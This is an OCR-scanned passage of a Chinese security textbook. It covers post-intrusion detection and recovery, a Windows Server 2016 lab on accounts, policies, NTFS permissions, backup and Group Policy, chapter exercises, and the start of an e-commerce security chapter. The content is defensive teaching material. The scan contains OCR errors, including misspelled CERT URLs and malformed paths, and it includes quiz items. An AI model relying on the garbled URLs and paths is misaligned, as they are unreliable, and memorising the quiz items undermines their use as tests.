版 本 做 比较 。 在 检查 入 侵 者 对 系统 软件 和 配置 文件 是 否 作 过 修改 时 ,一 定 要 使 用 一 个 可 
信任 的 内 核 来 启动 系统 ,并 且 使 用 的 分 析 和 校 验 工具 是 干净 的 , 即 没有 被 修改 和 算 改 。 
在 UNIX/Linux 系统 中 ,应 该 检查 如 下 文件 : /etc/passwd 文件 中 是 否 有 可 疑 的 用 户 ;/ 
etc/inet. conf 文件 是 否 被 修改 过 ;新 的 SUID 和 SGID 文件 ;如 果 系 统 允 许 使 用 r 命令 ， 
如 rlogin、rsh、rexec, 需 要 检查 /etc/hosts. equiv 或 者 . rhosts 文件 。 对 于 Windows NT 
系统 ,需要 进行 如 下 检查 : 检查 不 明 身 份 的 用 户 和 组 成 员 ;检查 启动 登录 或 者 服务 程序 的 
注册 表 入 口 是 否 被 修改 ;检查 net share 命令 和 服务 器 管理 工具 共有 的 非 验 证 隐藏 文件 ; 
检查 pulist. exe 程序 无 法 识别 的 进程 。 

(2) 检测 被 修改 的 数据 。 入 侵 者 经 常会 修改 系统 中 的 数据 ,建议 对 Web 页 面 文件 、 
FTP 存档 文件 ,用户 目录 下 的 文件 以 及 其 他 文件 进行 校 验 。 

(3) 查看 和 人 侵 者 留 下 的 工具 和 数据 。 和 人 侵 者 通常 会 在 系统 中 安装 一 些 工具 ,以 便 继 
续 监 视 被 人 侵 的 系统 。 通 常 应 注意 如 下 类 的 文件 : 

@ 网络 嗅 探 器 是 监视 和 记录 网 络 行动 的 工具 程序 。 入 侵 者 通常 会 使 用 网 络 嗅 探 器 
获得 在 网 络 上 以 明文 传输 的 用 户 名 和 口令 。 要 判断 系统 是 否 被 安装 嗅 探 器 ,首先 检查 当 
前 是 否 有 进程 使 网 络 接口 处 于 混杂 模式 (promiscuous mode), fE Linux/UNIX 下 使 用 
ifconfig( # /ifconfig -a) 命 令 可 以 知道 系统 网 络 接口 是 否 处 于 混杂 模式 下 。 网 络 上 也 有 
一 些 工具 可 以 帮助 检测 系统 内 的 嗅 探 嚣 程序。 一 旦 发 现 网 络 嗅 探 器 程序 ,应 检查 嗅 探 嚣 程 
序 的 输出 文件 ,确定 哪些 主机 受到 攻击 者 威胁 。 网 络 嗅 探 器 在 UNIX 系统 中 更 为 常见 。 

全 注 意 : 如 果 重 新 启动 系统 或 者 在 单 用 户 模式 下 ,传统 命令 和 工具 的 正确 操作 仍然 
可 能 无 法 检测 到 混杂 模式 。 同 时 ,需要 特别 注意 ,一 些 合 法 的 网 络 监 视 程 序 和 协议 分 析 
程序 也 会 把 网 络 接口 设置 为 混杂 模式 ,这 里 需要 进行 严格 区 分 。 

@ 特洛伊 木马 程序 能 够 在 表面 上 执行 某 种 功能 ,而 实际 上 执行 另外 的 功能 。 因 此 ， 
人 入侵 者 可 以 使 用 特洛伊 木马 程序 隐藏 自己 的 行为 ,获得 用 户 名 和 口令 数据 ,建立 系统 后 
门 以 便 将 来 对 被 侵入 系统 再 次 访问 。 

@ 后 门 。 后 门 程序 将 自己 隐藏 在 被 侵入 的 系统 中 ,和 人 侵 者 通过 后 门 能 够 避 开 正常 的 
系统 验证 ,不必 使 用 安全 缺陷 攻击 程序 就 可 以 进入 系统 。 

@ 安全 缺陷 攻击 程序 。 系 统 运行 存在 安全 缺陷 的 软件 是 其 被 侵入 的 一 个 主要 原因 。 
和信 侵 者 经 常会 使 用 一 些 针对 已 知 安全 缺陷 的 攻击 工具 ,以 此 获得 对 系统 的 非法 访问 权 
限 。 这 些 工具 通常 会 留 在 系统 中 ,保存 在 一 个 隐蔽 的 目录 中 。 


xb 操作 系统 及 站 点 安全 _ 299 


(4) 审查 系统 日 志文 件 。 详 细 地 审查 系统 日 志文 件 , 可 以 了 解 系统 是 如 何 被 侵入 的 ， 
入 侵 过 程 中 攻击 者 执行 了 哪些 操作 ,以 及 哪些 远程 主机 访问 过 被 入 侵 主 机 。 审 查 日 志 ， 
最 基本 的 一 条 就 是 检查 异常 现象 。 需 要 注意 的 是 : 系统 中 的 任何 日 志文 件 都 可 能 被 人 侵 
者 改动 过 。 

对 于 UNIX 系统 ,需要 查看 /etc/syslog. conf 文件 ,确定 日 志 信 息 文 件 在 哪些 位 置 。 
Windows NT 系统 通常 使 用 3 个 日 志文 件 , 记 录 所 有 的 Windows NT 事件 ,每 个 
Windows NT 事件 都 会 被 记录 到 其 中 的 一 个 文件 中 。 可 以 使 用 Event Viewer 查看 日 志 
文件 。 一 些 Windows NT 应 用 程序 将 日 志 放 到 其 他 地 方 , 如 IIS 服务 器 默认 的 日 志 目 录 
是 c://winnt/system32/logfiles。 

(5) 检查 网 络 上 的 其 他 系统 。 除 了 已 知 被 侵入 的 系统 外 ,还 应 该 对 局 域 网 络 内 所 有 
的 系统 进行 检查 。 主 要 检查 和 被 侵入 主机 共享 网 络 服务 (例如 NIX、NFS) 或 者 通过 一 些 
机 制 (例如 hosts. equiv、. rhosts 文件 或 者 Kerberos 服务 器 ) 和 被 侵入 主机 相互 信任 的 系 
统 。 建 议 使 用 CERT(Computer Emergency Response Team, 计 算 机 安全 应 急 响 应 组 ) 的 
和 人 侵 检测 检查 列表 进行 检查 工作 ,网址 如 下 ， 


http://www.oert .org/tech tips/intruder detection checklist.html 

http://ww.oert .org/tedh tips/win intruder detection checklist.html 

(6) 检查 涉及 的 或 者 受到 威胁 的 远程 站 点 。 在 审查 日 志文 件 . 人 侵 程序 的 输出 文件 
和 系统 被 侵入 以 来 被 修改 的 和 新 建立 的 文件 时 ,要 注意 哪些 站 点 可 能 会 连接 到 被 侵入 的 
系统 。 根 据 经 验 ,那些 连接 到 被 侵入 主机 的 站 点 通常 已 经 被 侵入 ,所 以 要 尽快 找 出 其 他 
可 能 遭 到 入 侵 的 系统 ,通知 其 管理 人 员 。 

ED 讨论 思考 

(1) 在 系统 中 删除 数据 ,数据 真 的 从 硬盘 中 消失 了 吗 ? 对 此 进行 解释 说 明 。 

(2) 硬盘 格式 化 的 数据 能 恢复 吗 ? 

(3) UNIX、Linux 和 Windows 系统 安全 配置 各 自 包括 哪 几 方面 7 有 什么 区 别 ? 


106 实验 十 : Windows Server 2016 安全 配置 与 恢复 


Windows Server 2016 是 微软 公司 的 一 个 服务 器 操作 系统 ,继承 了 Windows Server 
2003 的 功能 和 特点 ,尽管 Windows Server 2016 系统 的 安全 性 能 要 比 其 他 系统 的 安全 性 
能 高 出 许多 ,但 为 了 增强 系统 的 安全 ,必须 对 其 进行 安全 配置 ,并 且 在 系统 遭 到 破坏 时 能 
恢复 原 有 系统 和 数据 。 


1061 实验 目的 


(1) 熟悉 Windows Sever 2016 操作 系统 的 安全 配置 过 程 及 方法 。 
(2) 掌握 Windows Sever 2016 操作 系统 的 恢复 要 点 及 方法 。 
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1062 实验 要 求 


1. 实验 设备 


本 实验 以 Windows Sever 2016 操作 系统 作为 实验 对 象 , 所 以 ,需要 一 台 计算 机 并 且 
安装 有 Windows Sever 2016 操作 系统 。 微 软 公 司 在 其 网 站 上 公布 了 使 用 Windows 
Server 2016 的 设备 需求 ,基本 配置 如 表 10-1 所 示 。 


表 10-1 实验 设备 基本 配置 


硬 件 需 求 
最 低 : 1GHz(x86 处 理 器 ) 或 1. 4GHz(x64 处 理 器 ) 
人 建议 : 2GHz 或 以 上 
最 低 : 512MB RAM 
内 存 建议 : 2GB RAM 或 以 上 
ñz 最 低 : 10GB 
us m 建议 : 40GB 或 以 上 
光驱 DVD-ROM 光驱 
显示 器 支持 Super VGA(800X600) 或 更 高 分 辨 率 的 显示 器 
其 他 键盘 及 微软 鼠标 或 兼容 的 指向 装置 (pointing device) 
2. 注意 事项 
1) 预习 准备 


由 于 本 实验 内 容 是 对 Windows Sever 2016 操作 系统 进行 安全 配置 ,需要 提前 熟悉 
Windows Sever 2016 操作 系统 的 相关 操作 。 

2) 注重 内 容 的 理解 

本 实验 是 以 Windows Sever 2016 操作 系统 为 实验 对 象 。 随 着 操作 系统 的 不 断 更 新 ， 
对 于 其 他 操作 系统 基本 都 有 类 似 的 安全 配置 ,但 配置 方法 或 安全 强度 会 有 区 别 , 所 以 需 
要 理解 其 原理 ,做 到 对 安全 配置 及 系统 恢复 心中 有 数 。 

3) 实验 学 时 

本 实验 大 约 需 要 2 个 学 时 (90 一 120min) 完 成 。 


1063 实验 内 容 及 步骤 


1. 本 地 用 户 管理 和 组 


【案例 10-2] 某 公 司 秘书 被 授权 可 以 登录 领导 的 计算 机 ,定期 为 领导 备份 文件 ,并 
执行 网 络 配置 等 有 关 管 理工 作 , 因 此 ,在 领导 的 计算 机 中 要 新 建 一 个 用 户 组 ,满足 秘书 的 
操作 步 又: 新 建 账户 secretary 和 用 户 组 “日 常 工作 ”, “日 常 工作 ”组 具有 Network 


Ia 操作 系统 及 站 点 安全 


301 


Configuration Operators 的 权限 ,并 将 secretary 添加 到 “日 常 工作 ”组 中 。 

(1) 新 建 账户 。 选 择 “ 开 始 ” 一 “管理 工具 ”一 “计算 机 管理 ”, 在 弹出 的 窗口 中 ,展开 
“本 地 用 户 和 组 ”, 右 击 “ 用 户 ”, 新 建 secretary 账户 。 

(2) 管理 账户 。 右 击 账 户 , 可 以 设置 密码 、 删 除 账号 或 重 命 名 。 右 击 账户 ,在 快捷 菜 
单 中 选择 “属性 ”命令 ,在 “隶属 于 ”选项 卡 中 将 secretary 账户 添加 到 Backup Operations 
组 和 Network Configuration Operators 组 中 , 即 为 secretary 账户 授予 Backup 
Operations 组 和 Network Configuration Operators 组 的 权限 。 

(3) 新 建 本 地 组 。 右 击 “ 组 ”, 在 快捷 菜单 打开 的 窗口 中 ,填写 组 名 和 描述 信息 ,并 单 
击 “ 添 加 ”按钮 ,将 secretary 添加 到 日 常 工作 组 中 ,这 样 ,日 常 工作 组 也 具有 Backup 
Operations 组 和 Network Configuration Operators 组 的 权限 。 


2. 本 地 安全 策略 


【案例 10-3] 公司 管理 层 计 算 机 安全 策略 要 求 : 启用 密码 复杂 性 策略 ,将 密码 最 小 
长 度 设置 为 8 个 字符 ,设置 密码 使 用 期 限 为 30 天 ;启用 账户 锁定 策略 , 当 用 户 多 次 输入 
错误 数据 超过 3 次 时 账户 将 被 锁定 ,锁定 时 间 为 5min; 启 用 审核 登录 成 功 和 失败 策略 , 登 
录 失 败 后 ,通过 事件 查看 器 查看 Windows 上 日志; 启用 审核 对 象 访问 策略 ,用 户 对 文件 访 
问 后 ,通过 事件 查看 器 查看 Windows 日 志 。 

操作 步骤 : 在 本 地 安全 策略 中 分 别 设置 密 码 策略 .账户 锁定 策略 .审核 登录 策略 和 审 
核对 象 访问 策略 。 

(1) 密码 策略 设置 。 选 择 “ 开 始 ” 一 “管理 工具 ”一 “本 地 安全 策略 ”>“ 账 户 策略 ”一 
“密码 策略 ”, 启 动 密码 复杂 性 策略 ;设置 “密码 长 度 最 小 值 " 为 8 个 字符 ,密码 最 长 使 用 期 
限 为 30 天 。 

(2) 账户 锁定 策略 设置 。 选 择 * 开 始 ” 一 “管理 工具 ”本 地 安全 策略 ”账户 策略 ”一 
“账户 锁定 策略 ”, 设 置 账户 锁定 时 间 为 5 分 钟 ,账户 锁定 阔 值 为 3 次 。 

(3) 审核 登录 策略 和 审核 对 象 访问 策略 设置 。 选 择 * 开 始 ” 一 “管理 工具 ”一 “本 地 安 
全 策略 ”本 地 策略 ”审核 策略 ,审核 登录 策略 设置 为 "失败 ,审核 对象 访问 策略 设 
置 为 “失败 ”。 


3. NTFS 权限 


【案例 10-4] 经 理 要 下 发 一 个 通知 , 存 于 “通知 ”文件 夹 中 ,经 理 对 该 文件 夹 及 文件 
可 以 完全 控制 ,秘书 只 有 修改 文稿 的 权限 ,其 他 人 员 只 有 浏览 的 权限 。 

操作 步骤 : 首先 要 取消 “通知 ”文件 夹 的 父 项 继承 的 权限 ,之 后 分 配 Administrators 
组 (经 理 ) 完 全 控制 的 权限 、 日 常 工作 组 (秘书 ) 除 了 删除 权限 以 外 的 各 权限 和 Users 组 
(其 他 人 员 ) 只 读 权限 。 

(1) 取消 文件 夹 的 父 项 继承 的 权限 。 右 击 “ 通 知 ” 文 件 夹 ,在 快捷 菜单 中 选择 “属性 ” 
命令 ,选择 “安全 ”标签 习 “ 高 级 >“ 更改 权 限 ”, 打 开 高 级 安全 设置 窗口 ,添加 日 常 工作 组 
和 Users 组 到 列表 中 ,分 别 选择 这 两 组 ,取消 “包括 可 从 该 对 象 的 父 项 继承 的 权限 ”选项 。 
删除 继承 权 后 ,任何 用 户 对 该 文件 夹 都 无 访问 权限 ,只 有 该 对 象 的 所 有 者 可 分 配 权限 。 
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(2) 经 理 权 限 。 右 击 “ 通 知 ” 文 件 夹 ,在 快捷 菜单 中 选择 “属性 ”命令 ,选择 “安全 ”标签 一 
“高 级 ”>“ 更 改 权 限 ” 一 “高 级 ”>“ 添 加 ”, 添 加 经 理 的 Administrator 账户 , 单 击 “ 确 定 ” 按 钮 
后 打开 “通知 的 权限 项 目 ” 窗 口 ,选择 “允许 ”>“ 完 全 控制 ”。 

(3) 秘书 权限 。 在 “通知 的 高 级 安全 设置 ”窗口 中 继续 添加 日 常 工作 组 , 单 击 “ 确 定 ” 
按钮 后 打开 “通知 的 权限 项 目 ” 窗 口 ,选择 “允许 ”>“ 创 建文 件 / 写 入 数据 ”。 

(4) 其 他 用 户 权限 。 在 “通知 的 高 级 安全 设置 ”窗口 中 继续 添加 Users 组 , 单 击 “ 确 
定 ” 按 钮 后 打开 “通知 的 权限 项 目 ” 窗 口 ,选择 “允许 ”>“ 列 出 文件 夹 / 读 取 数据 ”。 


4. 数据 备份 和 还 原 


【案例 10-5】 公司 为 了 考核 每 个 员工 的 工作 情况 ,指定 由 秘书 对 每 个 员工 每 天 的 任 
务 完 成 情况 填写 “工作 日 志 ”, 并 定期 汇总 。 为 了 防止 大 量 数 据 丢 失 , 公 司 要 求 每 周 五 下 
班 前 进行 数据 备份 ,使 系统 出 现 安全 问题 ,也 可 以 进行 数据 恢复 。 

操作 步骤 ; 首先 要 在 系统 中 安装 Backup 功能 组 件 , 所 有 员工 的 工作 日 志 是 按照 每 天 
一 个 文件 夹 存放 的 ,这 样 可 以 每 周 五 对 该 周 日 志 进 行 一 次 性 备份 。 

(1) 安装 Backup 功能 组 件 。 选择“ 开 始 "一 “管理 工具 ”一 “服务 器 管理 器 "一 “功能 ”一 
“添加 功能 ”, 选 择 “ Windows Server Backup 功能 "安装 系统 备份 功能 。 

(2) 一 次 性 备份 。 选 择 “ 开 始 ” 一 “所 有 程序 "一 “附件 ”一 “系统 工具 ”一 Windows 
Server Backup, 在 该 界面 的 右 侧 可 以 选择 “一 次 性 备份 ”, 当 向 导 进 行 到 “选择 备份 配置 ” 
时 ,选择 “ 自 定义 ”, 之 后 选择 “工作 日 志 ” 文 件 夹 中 本 周 相关 文件 进行 备份 。 


5. 组 策略 应 用 


【案例 10-6] 实现 对 于 多 用 户 应 用 域 中 的 主机 登录 ,其 驱动 器 下 自动 连接 到 \PC\ 
tools 文件 夹 上 。 

操作 步骤 : 前 提 是 多 用 户 应 用 域 统一 管理 。 首 先 要 建立 一 个 组 策略 对 象 ,名 为 “共享 
资源 ” ,之 后 链接 组 策略 对 象 。 

(1) 建立 组 策略 对 象 。 选 择 “ 开 始 ” 一 “管理 工具 ”一 “组 策略 管理 ”, 选 择 要 实现 驱动 
器 映射 的 主机 所 在 的 域 ,并 右 击 “组 策略 对 象 ", 选 择 * 新 建 " 命 令 , 新 建 一 个 名 为 “共享 资 
源 ” 的 GPO。 右 击 “* 共 享 资源 ”", 选 择 * 编 辑 ” 命 令 ,选择 “组 策略 管理 编辑 器 ”一 “用 户 配 
置 "一 “首选 项 ”Windows 设置 ”, 右 击 * 驱 动 映 射 ”, 选 择 “ 新 建 ”- 盖 映射 驱动 器 ”, 在 “ 常 
规 ” 选 项 卡 中 “操作 ”项 下 选择 “创建 ”, 在 “位 置 " 栏 中 输入 “\\PC\tools”, 在 “驱动 器 号 ”区 
域 中 选择 "使 用 ”一 “F”, 完 成 操作 

(2) 链接 组 策略 对 象 。 在 “组 策略 管理 ”控制 台中 , 右 击 对 应 的 主机 ,选择 “链接 现 有 
GPO” 命 令 , 在 窗口 中 “查找 此 域 "* 下 拉 列 表 中 选择 对 应 的 域名 ,在 “组 策略 对 象 " 列 表 框 中 
选择 “共享 资源 ”, 完 成 驱动 器 映射 域 管理 。 


107 本 章 小 结 


本 章 介 绍 了 操作 系统 安全 及 站 点 安全 的 相关 知识 。Windows 操作 系统 的 系统 安全 
性 以 及 安全 配置 是 重点 之 一 。 随 后 简要 介绍 了 UNIX 操作 系统 的 安全 知识 。Linux 是 源 
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代码 公开 的 操作 系统 ,本 章 介 绍 了 Linux 系统 的 安全 和 安全 配置 相关 内 容 。 本 章 对 Web 
站 点 的 结构 及 相关 概念 进行 了 介绍 ,并 对 其 安全 配置 进行 了 阐述 。 被 入 侵 后 的 恢复 是 一 
种 减少 损失 的 很 好 方式 ,可 以 分 为 系统 恢复 与 信息 恢复 ,本 章 重 点 对 系统 恢复 的 过 程 进 
行 了 介绍 。 


108 练习 与 实践 十 


1. 选择 题 
(1) 为 了 保证 系统 安全 ,最 应 该 禁用 的 账户 是 ( Ys 
A. Guest B. Everyone 
C. Admin D. LifeMiniator 
(2) Linux 中 的 大 部 分 TCP 或 UDP 服务 都 是 在 ( ) 文 件 中 设 定 的 。 
A. /etc/shadow. conf B. /etc/ipop. conf 
C. /etc/admin. conf D. /etc/inetd. conf 


(3) IP 地 址 欺骗 是 很 多 攻击 的 基础 ,之 所 以 使 用 这 个 方法 ,是 因为 IP 协议 路 由 IP 包 
时 对 IP 头 中 提供 的 ( ) 不 做 任何 检查 。 


A. IP 目 的 地 址 B. 源 端口 C. IP 源 地 址 D. 包 大 小 
(4) Web 站 点 服务 体系 结构 中 的 B/S/D 分 别 指 浏 览 器 、( ) 和 数据 库 。 
A. 服务 器 B. 防火 墙 系统 C. 入 侵 检测 系统 D. 中 间 层 


(5) 系统 恢复 是 指 在 系统 无 法 正常 运作 的 情况 下 ,操作 系统 通过 调用 已 经 备份 好 的 
系统 资料 或 系统 数据 ,使 系统 按照 备份 时 的 部 分 或 全 部 正常 启动 运行 的 ( ) 来 进行 
运作 。 

A. 状态 B. 数值 特征 C. 时 间 D. 用 户 

(6) 入 侵 者 通常 会 使 用 网 络 嗅 探 器 获得 在 网 络 上 以 明文 传输 的 用 户 名 和 口令 。 在 判 

断 系统 是 否 被 安装 嗅 探 器 的 ,首先 要 看 当前 是 否 有 进程 使 网 络 接口 处 于 ( J): 


A. 通信 模式 B. 混杂 模式 C. 禁用 模式 D. 开放 模式 

2. 填空 题 

(1) 系统 恢复 的 方式 共有 五 种 : š £ 

(2) Windows 系统 备份 有 和 两 种 。 

(3) UNIX 操作 系统 中 ,1s 命令 显示 为 -rwxr-xr-x 1 foo staff 7734 Apr 05 17:07 
demofile, 说 明 同 组 用 户 对 该 文件 具有 和 的 访问 权限 。 

(4) 在 Linux 系统 中 ,采用 插入 式 验证 模块 (Pluggable Authentication Modules， 
PAM) 的 机 制 , 可 以 用 来 改变 的 方法 和 要 求 , 而 不 要 求 重 新 编译 其 他 公 
用 程序 。 这 是 因为 PAM 采用 封闭 包 的 方式 ,将 所 有 与 身份 验证 有 关 的 逻辑 全 部 隐藏 在 


模块 内 。 
(5) Web 站 点 所 面临 的 风险 有 系统 层面 的 、 和 
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(6) 软件 限制 策略 可 以 对 或 的 软件 进行 控制 。 
3. 简 答 题 


(1) Windows 系统 采用 哪些 身份 验证 机 制 ? 
(2) 在 Web 站 点 中 ,系统 安全 策略 的 配置 起 到 关键 的 作用 ,其 中 的 安全 策略 包括 


哪些 ? 


(3) UNIX 操作 系统 有 哪些 不 安全 的 因素 ? 
(4) 在 Linux 系统 中 如 何 实现 系统 的 安全 配置 ? 


4. 实践 题 


(1) 合理 地 设置 实验 机 的 安全 策略 ,并 对 策略 进行 说 明 。 
(2) 在 Windows Server 2016 系统 中 创建 安全 性 强 的 账户 及 对 应 的 文件 夹 。 
(3) 尝试 恢复 从 硬盘 上 删除 的 文件 ,并 对 恢复 结果 进行 分 析 。 


第 11 w£ chapter ] ] OC 
电子 商务 的 安全 


电子 商务 是 以 重大 技术 突破 和 迫切 发 展 需求 为 基础 的 新 兴 产 业 。 随 着 20 世纪 影响 
力 最 大 的 技术 突破 一 一 互联 网 在 人 类 生存 和 发 展 中 占据 越 来 越 重要 的 地 位 ,电子 商务 已 
经 渗透 到 传统 商务 模式 的 每 一 个 环节 。 电 子 商务 活动 ,在 许多 经 济 实体 中 已 经 全 部 或 部 
分 代替 了 传统 商务 流程 。 与 电子 商务 活动 如 影 相 随 的 安全 性 问题 成 为 制约 和 威胁 其 高 
速 发 展 的 重要 因素 .“ 千 里 之 堤 , 毁 于 蚁 穴 ”, 我 们 必须 加 大 技术 和 资金 的 投入 力度 ,以 保 
证 电子 商务 中 的 安全 防御 系统 的 稳固 和 正常 运转 。 


BE 教 学 目标 


。 了 解 电子 商务 的 发 展 历程 及 其 基本 概念 。 

。 掌握 电子 商务 应 用 系统 中 的 常见 安全 问题 及 解决 方案 。 
。 掌握 智能 移动 终端 设备 的 常见 安全 问题 及 解决 方案 。 

。 学 习 一 种 Android 应 用 漏洞 检测 工具 的 安装 和 使 用 。 


ll 电子 商务 安全 技术 概述 


1LL1 电子 商务 的 发 展 历程 


被 我 们 称 为 电子 商务 的 这 种 商业 现象 ,经 历 过 并 仍然 在 经 历 潮 起 潮 落 的 历史 进程 。 
从 20 世纪 90 年 代 中 期 开始 出 现 的 电子 商务 活动 ,从 一 开始 的 默默 无 闻 , 突 然 进入 第 一 
个 黄金 期 ,被 称 为 电子 商务 的 第 一 次 浪潮 。1997 一 2000 年 ,投资 者 投入 1000 多 亿美 元 创 
建 了 12 000 多 家 互联 网 公司 , 非 理性 繁荣 的 乐观 情绪 在 不 断 蔓 延 ,投资 者 盲目 投资 ,都 怕 
错过 千 载 难 着 的 投资 机 会 ,导致 优质 项 目 急于 求 成 ,劣质 项 目 浑 水 摸 鱼 。 在 2000 年 开始 
的 全 球 经 济 低迷 期 间 ,超过 5000 家 这 样 的 互联 网 创业 公司 倒闭 或 被 并 购 。 

2000 一 2002 年 ,电子 商务 运动 笼罩 在 媒体 纷纷 宣扬 的 “. com 的 破灭 "的 悲观 情绪 中 。 
但 即便 此 时 ,处 于 起伏 期 的 电子 商务 活动 也 在 平静 的 水 面 下 暗流 涌 动 ,发 展 虽 缓 慢 , 但 从 
未 停顿 ;培育 市 场 ,积聚 力量 ,等 待 下 一 次 的 振兴 。 从 2001 年 起 ,电子 商务 发 展 速度 放 缓 
至 20%% 一 30%% 的 年 增长 率 , 即 使 在 经 济 衰退 期 的 2008 一 2009 年 ,也 依然 保持 了 同样 的 增 
长 速度 。 与 此 同时 ,传统 零售 业 被 摧毁 ,网 民 数量 不 断 上 升 , 亚 洲 的 大 经 济 体 的 在 线 销售 
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总 量 不 断 增 加 ,这 都 孕育 了 电子 商务 的 第 二 次 浪潮 的 兴起 。 在 第 一 次 浪潮 中 ,销售 某 种 
产品 或 服务 的 第 一 家 网 站 往往 能 够 获得 成 功 , 被 称 为 先行 者 优势 (firstrmover 
advantage) ;而 在 第 二 次 浪潮 中 ,先行 者 优势 具有 了 不 确定 性 ,先行 者 往往 耗费 巨大 的 资 
金 和 时 间 成 本 培育 了 成 熟 的 消费 者 ,而 “第 二 只 老鼠 获得 了 奶酪 ”。 

早 在 2001 年 ,行业 分 析 家 就 开始 预测 基于 手机 的 电子 商务 的 到 来 ,但 是 受制 于 手机 
智能 程度 的 瓶颈 ,移动 电子 商务 的 时 代 始 终 没 有 到 来 。 十 年 光阴 如 梭 , 智 能 手机 和 平板 
电脑 等 便携 式 移动 设备 智能 化 程度 的 大 幅度 提高 ,移动 设备 的 大 面积 普及 ,月 资费 的 大 
幅度 下 降 , 受 众 对 随时 随地 开展 商务 活动 的 接受 和 适应 ,金融 机 构 在 线 支付 的 成 熟 和 对 
移动 客户 的 争夺 ,这 一 切 酝 酿 出 电子 商务 第 三 次 浪潮 的 兴起 和 到 来 。 手 持 智能 设备 所 带 
来 的 最 重要 变化 是 真正 实现 了 在 任何 时 间 和 地 点 都 能 上 网 通信 ,这 种 网 络 可 用 性 的 不 间 
断 性 以 很 多 方式 改变 了 消费 者 的 行为 ,并 为 在 线 商务 活动 提供 了 新 的 机 会 。 第 三 次 电子 
商务 浪潮 是 大 型 企业 .小 中 型 企业 和 个 人 用 户 共同 拥有 的 时 代 和 机 遇 。 


1L12 电子 商务 的 概念 与 类 型 


为 进一步 分 析 电 子 商 务 安全 技术 ,首先 简 述 一 下 电子 商务 的 概念 及 特征 。 

电子 商务 是 政府 \ 企 业 和 个 人 利用 计算 机 ,平板 电脑 或 手机 等 智能 电子 设备 ,依赖 网 
络 通信 技术 完成 商业 活动 的 全 过 程 ,是 一 种 基于 互联 网 或 专用 网 络 ,以 参与 交易 的 各 方 
为 主体 ,以 金融 机 构 电 子 支付 和 非 现 金 结算 为 手段 ,以 客户 数据 为 依托 的 商务 模式 。 电 
子 商 务 是 集 企业 管理 信息 化 、 金 融 电 子 化 .商贸 信息 网 络 化 和 物流 全 球 化 为 一 体 , 旨 在 实 
现 信息 流 、 现 金 流 和 实物 流 的 流动 成 本 最 小 化 ,效率 和 效益 最 大 化 的 现代 贸易 方式 。 

划分 电子 商务 类 型 的 一 个 有 效 并 被 普遍 采纳 的 方法 是 按照 交易 过 程 或 商务 过 程 中 
参与 交易 的 主体 类 型 进行 划分 。 电 子 商务 通常 被 划分 为 五 大 类 : 

(1) 企业 和 企业 之 间 的 电子 商务 (Business to Business,B2B), 是 指 企业 之 间 通 过 电 
子 商 务 活动 进行 产品 .服务 及 信息 的 销售 和 沟通 。 如 “阿里 巴巴 ”“ 网 盛 生 意 宝 "和 "慧聪 
网 ”等 。 

(2) 企业 面向 消费 者 进行 的 电子 商务 (Business to Customer, B2C) ,是 指 企业 面向 个 
人 消费 者 进行 的 商业 活动 ,以 网 络 零售 业 为 主线 ,如 “京东 商城 >"“ 当 当 网 ”和 * 同 程 
网 ”等 。 

(3) 消费 者 与 消费 者 之 间 的 电子 商务 (Customer to Customer,C2C), 也 称 网 上 拍卖 
模式 ,是 指 网 络 市 场 中 的 消费 者 之 间 能 相互 买卖 商品 和 服务 的 一 种 商业 模式 。 其 中 的 代 
表 有 "淘宝 网 “易趣 ”和 “ 拍 拍 ” 等 。 

(4) 支持 采购 与 销售 活动 的 电子 业务 流程 。 企 业 或 其 他 组 织 利 用 网 络 信息 有 针对 性 
地 对 顾客 .供应 商 和 员工 进行 识别 和 评估 。 企 业 与 自己 的 客户 、 供 应 商 、 企 业 员 工 和 业务 
伙伴 分 享 这 些 经 过 处 理 的 大 数据 信息 。 如 业务 流程 管理 系统 (Business Process 
Management,BPM) ,企业 资源 计划 (Enterprise Resource Planning,ERP) 和 用 户 行 为 分 
析 系 统 (User Behavior Analysis,UBA) 等 。 

(5) 企业 与 政府 之 间 的 电子 商务 活动 。 指 企业 向 政府 机 构 销售 产品 或 服务 。 如 中 国 
金融 电子 化 公司 向 人 民 银 行政 府 部 门 、 各 金融 机 构 和 财政 税务 等 政府 机 构 销 售 相 关 产 
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品 和 服务 。 
1113 电子 商务 安全 技术 的 要 素 


通过 对 电子 商务 的 概念 及 电子 商务 安全 技术 特征 的 分 析 和 理解 ,可 以 将 电子 商务 安 
全 实用 技术 的 要 素 归 纳 为 以 下 7 个 方面 。 


1. 数据 有 效 性 


数据 有 效 性 是 指 在 指定 时 间 区 间 和 合法 区 域内 ,数据 对 特定 授权 人 群 公开 ,并 保证 
数据 是 唯一 真实 有 效 的 。 因 此 ,需要 运用 涉及 硬件 平台 传输 线路 .软件 开发 和 应 用 以 及 
访问 控制 等 方面 的 安全 技术 ,完善 电子 数据 有 效 性 的 鉴别 方法 ,规范 有 效 性 数据 判定 的 
法 律 条 款 。 在 传统 的 商务 活动 中 ,以 纸 质 单据 作为 各 种 交易 凭证 的 载体 。 经 过 长 期 的 发 
展 和 改进 ,形成 了 具备 法 律 约束 力 的 各 种 固定 格式 和 契约 规则 的 交易 赁 证。 电子 商务 以 
电子 形式 的 各 种 凭证 取代 纸 质 赁 证 ,其 电子 数据 的 有 效 性 和 公信 度 成 为 保证 电子 商务 顺 
利 实施 的 前 提 条 件 。 


2. 数据 完整 性 


在 电子 商务 活动 中 ,造成 交易 各 方 电子 数据 差异 的 原因 主要 包括 : 数据 录入 或 显示 
时 的 数据 歧义 ,意外 差错 或 蓄意 欺诈 行为 ,数据 传输 过 程 中 的 数据 误 传 . 片 段 缺失 或 信息 
次 序 的 前 后 颠倒 等 。 交 易 各 方 的 数据 差异 ,也 就 是 数据 完整 性 的 破坏 ,会 影响 到 交易 各 
方 制定 交易 方针 和 经 营 策略 的 准确 性 ,导致 不 公平 交易 的 出 现 。 如 果 数 据 完整 性 得 不 到 
保证 ,电子 商务 活动 也 将 陷入 互相 猜疑 的 胶着 状态 ,最 终 影 响 到 电子 商务 系统 的 生存 和 
发 展 。 因 此 ,必须 采用 数据 增删 改 和 浏览 查询 时 的 分 级 权限 控制 ,数值 区 间 控 制 、 复 核 管 
理 和 建立 操作 日 志 等 技术 处 理 ,加 强 数据 传输 过 程 中 的 数据 校 验 、 数 据 备 份 和 数据 时 间 
域 值 的 管理 ,以 保证 商业 数据 的 前 后 一 致 性 和 完整 性 。 


3. 信息 保密 性 


传统 的 商务 活动 采用 交易 资料 由 专人 加 锁 在 保险 柜 保 存 , 交 易 谈判 在 封闭 隔音 会 议 
室 进 行 ,传送 契约 文件 通过 邮寄 加 封 的 特殊 信 枯 或 通过 安全 渠道 发 送 等 方法 来 保守 商业 
